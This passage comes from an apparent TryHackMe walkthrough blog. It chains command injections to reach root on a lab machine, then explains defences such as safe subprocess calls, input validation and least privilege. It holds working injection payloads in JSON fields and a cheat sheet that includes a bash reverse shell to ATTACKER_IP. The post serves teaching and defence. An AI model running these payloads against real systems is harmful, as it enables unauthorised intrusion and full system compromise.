&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Internally, the service constructs a command resembling:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;czf /var/automation/exports/&amp;lt;report&amp;gt;.tgz /var/automation/data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This design should immediately look familiar.&lt;/p&gt;

&lt;p&gt;A user-controlled parameter is being inserted into a shell command.&lt;/p&gt;

&lt;p&gt;That creates another potential &lt;strong&gt;command injection&lt;/strong&gt; vulnerability.&lt;/p&gt;

&lt;p&gt;There is one major difference from our first injection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;First vulnerable service  → web
Second vulnerable service → root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the second endpoint is exploitable, we can escalate directly to root.&lt;/p&gt;




&lt;h1&gt;
  
  
  20. Testing the Second Command Injection
&lt;/h1&gt;

&lt;p&gt;Send an authenticated request to the automation service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  http://127.0.0.1:9000/jobs/export &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;AUTOMATION_TOKEN&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"report":"x.tgz /var/automation/data; id #"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The injected portion is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="c"&gt;#&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's break it down.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;;&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Terminates the original command.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;id&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Executes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;#&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Comments out the remaining shell command.&lt;/p&gt;

&lt;p&gt;The server's resulting command becomes conceptually similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;tar &lt;/span&gt;czf /var/automation/exports/x.tgz /var/automation/data&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt; &lt;span class="c"&gt;# ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have achieved command execution as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Privilege escalation is complete.&lt;/p&gt;




&lt;h1&gt;
  
  
  21. Reading the Root Flag
&lt;/h1&gt;

&lt;p&gt;Because commands now execute as root, we can read:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;through the vulnerable endpoint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  http://127.0.0.1:9000/jobs/export &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;AUTOMATION_TOKEN&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The response contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root obtained.&lt;/p&gt;




&lt;h1&gt;
  
  
  22. Complete Attack Chain
&lt;/h1&gt;

&lt;p&gt;The entire compromise can now be summarized as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                ┌─────────────────────┐
                │     Nmap Recon      │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │     robots.txt      │
                │ /internal + /status │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ JavaScript Analysis │
                │ /internal/netcheck  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Command Injection #1│
                │       host=;id      │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Reverse Shell: web  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Internal Enumeration│
                │ 3000 / 8080 / 9000  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Watchtower API Leak │
                │   UCP Credentials   │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │  SSH Port Forward   │
                │ 8080 → FreePBX UCP  │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Voicemail Metadata  │
                │ Automation Token    │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │ Command Injection #2│
                │ Root Automation API │
                └──────────┬──────────┘
                           │
                           ▼
                ┌─────────────────────┐
                │        ROOT         │
                └─────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  23. Vulnerability Chain
&lt;/h1&gt;

&lt;p&gt;From a vulnerability-management perspective, the challenge contains several independent security problems.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stage&lt;/th&gt;
&lt;th&gt;Weakness&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Recon&lt;/td&gt;
&lt;td&gt;Sensitive endpoints exposed through &lt;code&gt;robots.txt&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Information disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Source analysis&lt;/td&gt;
&lt;td&gt;Internal routes exposed in JavaScript comments&lt;/td&gt;
&lt;td&gt;Information disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Netcheck&lt;/td&gt;
&lt;td&gt;Unsanitized shell input&lt;/td&gt;
&lt;td&gt;Remote command execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Watchtower&lt;/td&gt;
&lt;td&gt;Credentials returned through API&lt;/td&gt;
&lt;td&gt;Credential disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UCP&lt;/td&gt;
&lt;td&gt;Default/template credentials remained active&lt;/td&gt;
&lt;td&gt;Unauthorized access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Voicemail&lt;/td&gt;
&lt;td&gt;Authentication secret stored in visible metadata&lt;/td&gt;
&lt;td&gt;Token disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Automation&lt;/td&gt;
&lt;td&gt;Unsanitized shell command construction&lt;/td&gt;
&lt;td&gt;Command execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Service permissions&lt;/td&gt;
&lt;td&gt;Automation runs as root&lt;/td&gt;
&lt;td&gt;Full system compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The important observation is that several vulnerabilities had to be chained together.&lt;/p&gt;




&lt;h1&gt;
  
  
  24. Why the Attack Worked
&lt;/h1&gt;

&lt;p&gt;The challenge demonstrates a recurring real-world pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Minor Information Leak
        +
Weak Input Validation
        +
Credential Mismanagement
        +
Excessive Privileges
        =
Critical Compromise
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No single defensive control was strong enough to stop the attack after the initial foothold.&lt;/p&gt;

&lt;p&gt;This is why security should rely on &lt;strong&gt;defense in depth&lt;/strong&gt; rather than one protection mechanism.&lt;/p&gt;




&lt;h1&gt;
  
  
  25. Defensive Analysis
&lt;/h1&gt;

&lt;p&gt;Let's examine how each vulnerability could have been prevented.&lt;/p&gt;




&lt;h2&gt;
  
  
  25.1 Never Pass Untrusted Input Directly to a Shell
&lt;/h2&gt;

&lt;p&gt;Unsafe Python code might resemble:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ping -c 1 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;shell&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;host&lt;/code&gt; contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.1; id
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the shell interprets the injected command.&lt;/p&gt;

&lt;p&gt;A safer approach is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ping&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;host&lt;/span&gt;
&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here the arguments are passed directly to the executable rather than being interpreted by a shell.&lt;/p&gt;

&lt;p&gt;Even then, input validation should still be implemented.&lt;/p&gt;




&lt;h2&gt;
  
  
  25.2 Validate Hostnames and IP Addresses
&lt;/h2&gt;

&lt;p&gt;If an application expects an IP address, verify that the supplied value is actually an IP address.&lt;/p&gt;

&lt;p&gt;For Python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;

&lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application should reject unexpected characters rather than attempting to sanitize arbitrary shell syntax.&lt;/p&gt;




&lt;h2&gt;
  
  
  25.3 Do Not Treat &lt;code&gt;robots.txt&lt;/code&gt; as Access Control
&lt;/h2&gt;

&lt;p&gt;This:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Disallow: /internal/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;does &lt;strong&gt;not&lt;/strong&gt; prevent a user from requesting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/internal/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sensitive endpoints should instead be protected by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Authentication&lt;/li&gt;
&lt;li&gt;Authorization&lt;/li&gt;
&lt;li&gt;Network controls&lt;/li&gt;
&lt;li&gt;Application-level access policies&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  25.4 Remove Sensitive Developer Comments
&lt;/h2&gt;

&lt;p&gt;Comments such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// internal endpoint is /internal/netcheck&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;may appear harmless.&lt;/p&gt;

&lt;p&gt;But client-side JavaScript is public.&lt;/p&gt;

&lt;p&gt;Production builds should avoid exposing unnecessary:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Internal architecture&lt;/li&gt;
&lt;li&gt;Debugging details&lt;/li&gt;
&lt;li&gt;Development URLs&lt;/li&gt;
&lt;li&gt;Secrets&lt;/li&gt;
&lt;li&gt;Credentials&lt;/li&gt;
&lt;li&gt;Administrative paths&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  25.5 Never Expose Credentials Through Configuration APIs
&lt;/h2&gt;

&lt;p&gt;An endpoint such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/api/config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;should not return:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"username"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"..."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;even when bound to localhost.&lt;/p&gt;

&lt;p&gt;Instead use a dedicated secrets-management solution such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Environment variables&lt;/li&gt;
&lt;li&gt;Secret stores&lt;/li&gt;
&lt;li&gt;Vault systems&lt;/li&gt;
&lt;li&gt;Cloud secret managers&lt;/li&gt;
&lt;li&gt;Restricted configuration files&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  25.6 Rotate Default Credentials
&lt;/h2&gt;

&lt;p&gt;The challenge explicitly demonstrates the danger of forgotten template credentials.&lt;/p&gt;

&lt;p&gt;Default credentials should be rotated:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Immediately after deployment
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;not:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Eventually
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A warning comment saying:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ROTATE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;provides no security if nobody actually performs the rotation.&lt;/p&gt;




&lt;h2&gt;
  
  
  25.7 Protect Authentication Tokens Like Passwords
&lt;/h2&gt;

&lt;p&gt;Bearer tokens should never appear in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Caller ID&lt;/li&gt;
&lt;li&gt;Voicemail metadata&lt;/li&gt;
&lt;li&gt;Debugging messages&lt;/li&gt;
&lt;li&gt;Application logs&lt;/li&gt;
&lt;li&gt;URLs&lt;/li&gt;
&lt;li&gt;Client-side JavaScript&lt;/li&gt;
&lt;li&gt;Error responses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Possession of a Bearer token may be enough to impersonate an authenticated user or service.&lt;/p&gt;




&lt;h1&gt;
  
  
  26. Principle of Least Privilege
&lt;/h1&gt;

&lt;p&gt;One of the largest design mistakes is the automation service running as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Does creating an archive genuinely require unrestricted root privileges?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Probably not.&lt;/p&gt;

&lt;p&gt;The service should run under a dedicated account such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;automation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;with access limited to only:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/automation/data
/var/automation/exports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even if command injection were then discovered, the attacker would compromise only the restricted automation account rather than immediately becoming root.&lt;/p&gt;

&lt;p&gt;This is the &lt;strong&gt;Principle of Least Privilege&lt;/strong&gt;.&lt;/p&gt;




&lt;h1&gt;
  
  
  27. Important Commands Used
&lt;/h1&gt;

&lt;p&gt;For quick reference:&lt;/p&gt;

&lt;h3&gt;
  
  
  Nmap
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; TARGET_IP &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Check &lt;code&gt;robots.txt&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://TARGET_IP/robots.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Test Initial Command Injection
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  http://TARGET_IP/internal/netcheck &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"host=;id"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Netcat Listener
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Reverse Shell
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  http://TARGET_IP/internal/netcheck &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"host=;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER_IP/4444 0&amp;gt;&amp;amp;1'"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Upgrade Shell
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'import pty; pty.spawn("/bin/bash")'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Enumerate Listening Services
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Enumerate Gunicorn/Python Processes
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps aux | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"gunicorn|python"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Query Watchtower
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://127.0.0.1:3000/api/config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  SSH Port Forward
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/id_ed25519 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-L&lt;/span&gt; 8080:127.0.0.1:8080 &lt;span class="se"&gt;\&lt;/span&gt;
  web@TARGET_IP &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-N&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Test Privileged Command Injection
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  http://127.0.0.1:9000/jobs/export &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &amp;lt;TOKEN&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"report":"x.tgz /var/automation/data; id #"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h1&gt;
  
  
  28. Key Lessons
&lt;/h1&gt;

&lt;p&gt;This room teaches several important lessons that apply far beyond CTFs.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Enumeration Is Often More Important Than Exploitation
&lt;/h3&gt;

&lt;p&gt;The path started with simple observations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;robots.txt
      ↓
JavaScript
      ↓
Hidden endpoint
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There was no need to immediately launch large automated scanners.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Source Code Is Part of the Attack Surface
&lt;/h3&gt;

&lt;p&gt;Anything delivered to the browser should be treated as public information.&lt;/p&gt;

&lt;p&gt;That includes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTML
CSS
JavaScript
Source maps
Comments
API URLs
Configuration objects
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3. Internal Services Still Need Security
&lt;/h3&gt;

&lt;p&gt;Binding a service to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;reduces exposure but does not replace authentication or authorization.&lt;/p&gt;

&lt;p&gt;Once an attacker gains local access, localhost services become reachable.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Credential Leaks Create Attack Chains
&lt;/h3&gt;

&lt;p&gt;The Watchtower API did not directly provide root access.&lt;/p&gt;

&lt;p&gt;Instead it exposed another credential.&lt;/p&gt;

&lt;p&gt;That credential unlocked another application.&lt;/p&gt;

&lt;p&gt;That application exposed another secret.&lt;/p&gt;

&lt;p&gt;That secret unlocked the root-owned automation service.&lt;/p&gt;

&lt;p&gt;Real compromises frequently look exactly like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Information
     ↓
Credential
     ↓
Access
     ↓
More Information
     ↓
Higher Privilege
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  5. Command Injection Becomes Far Worse With Privilege
&lt;/h3&gt;

&lt;p&gt;The first command injection executed as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;web
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



